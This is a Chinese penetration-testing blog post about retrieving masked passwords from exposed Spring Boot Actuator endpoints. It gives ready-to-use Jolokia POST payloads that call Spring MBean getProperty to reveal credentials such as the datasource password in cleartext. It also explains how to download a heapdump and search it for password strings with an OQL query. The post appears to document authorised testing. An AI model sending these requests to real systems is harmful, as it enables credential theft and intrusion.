如何获取Spring env中带*的密码-项目小记

admin 2024年11月11日20:55:21评论19 views字数 2702阅读9分0秒阅读模式

1、概述

Spring是啥就不再介绍了之前文章也写过,在很多时候做项目都能够遇到,就在前两天还碰到了,感觉遇见的概率还挺大的,今天就如标题,简单说一下。

2、内容

对于env是可以获取系统全部环境属性的,访问env后系统响应返回的数据中会存在很多带*的字段,有密码、key值等等敏感信息。那你想想带*的肯定是不愿意让你看见的, 不愿意让你看见的那就是敏感信息有用的信息,至于如何利用还是得结合当前的环境。获取env中带*的敏感信息有两种方式。

一、通过正常请求响应获取

首先我们在遇见spring时确定是否存在端点信息泄露,比如:

/autoconfig  提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过/beans       描述应用程序上下文里全部的Bean,以及它们的关系/env         获取全部环境属性/configprops 描述配置属性(包含默认值)如何注入Bean/dump        获取线程活动的快照/health      报告应用程序的健康指标,这些值由HealthIndicator的实现类提供/info        获取应用程序的定制信息,这些信息由info打头的属性提供/mappings    描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系/metrics     报告各种应用程序度量信息,比如内存用量和HTTP请求计数/shutdown    关闭应用程序,要求endpoints.shutdown.enabled设置为true/trace       提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

现在我么只说env,在项目中访问env端点,我么可以看到存在带*号的字段,截图没截全,还有其他password字段。

如何获取Spring env中带*的密码-项目小记

在看到带*的值后,我们得想着如何获取到这些敏感信息。

调用 org.springframework.boot Mbean

spring 1.x

POST /jolokiaContent-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokiaContent-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

调用 org.springframework.cloud.context.environment Mbean

spring 1.x

POST /jolokiaContent-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokiaContent-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

还可以调用其他Mbean,在项目中根据spring环境进行调用获取,我使用 org.springframework.cloud.context.environment spring 2.x进行获取。如下图所示,我们获取spring.datasource.password字段值,有时候可能只是前端加*,看源码就行,没有的话使用这种方式。

如何获取Spring env中带*的密码-项目小记

构造数据包:

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["spring.datasource.password"]}

使用POST方式发送以上数据包,我们可以看到返回数据包中value值就是此字段的明文密码。

如何获取Spring env中带*的密码-项目小记

只演示这一个就可以,其他跟上述步骤相同。

二、通过heapdump文件

通过heapdump文件,构造URL先下载此文件

如何获取Spring env中带*的密码-项目小记

有的时候没有hprof后缀,下载下来我们使用jdk环境中bin目录下的工具jvisualvm.exe(JVM性能调优监控工具)。

如何获取Spring env中带*的密码-项目小记

打开上述工具后加载下载后的文件,如果没有hprof后缀就加上才能进行加载。

如何获取Spring env中带*的密码-项目小记

加载文件后我们可以看到一些系统属性的基本信息。

如何获取Spring env中带*的密码-项目小记

接下来在类这一功能模块中,可以输入关键字进行过滤。

如何获取Spring env中带*的密码-项目小记

比如我们使用password字符串进行过滤。这个时候可以看到几乎所有password字段的类名就会出来,接着点击类名去查看就行了,里边也会存在明文密码字符串。

如何获取Spring env中带*的密码-项目小记

还可以在控制台的查询编辑中输入查询语句进行查询数据。

如何获取Spring env中带*的密码-项目小记

比如我们写入如下查询语句:

select s from java.lang.String s where /password/.test(s.value.toString()) 

执行之后含有password字符串的字段就会显示。

如何获取Spring env中带*的密码-项目小记

以上两种方法来说比较方便,平时拿来即用的。这是在项目中遇到的记录一下,时间长了就会忘记的。

如何获取Spring env中带*的密码-项目小记

免责声明:

本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责

原文始发于微信公众号(sahx安全从业记):如何获取Spring env中带*的密码-项目小记

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日20:55:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何获取Spring env中带*的密码-项目小记https://cn-sec.com/archives/1801896.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息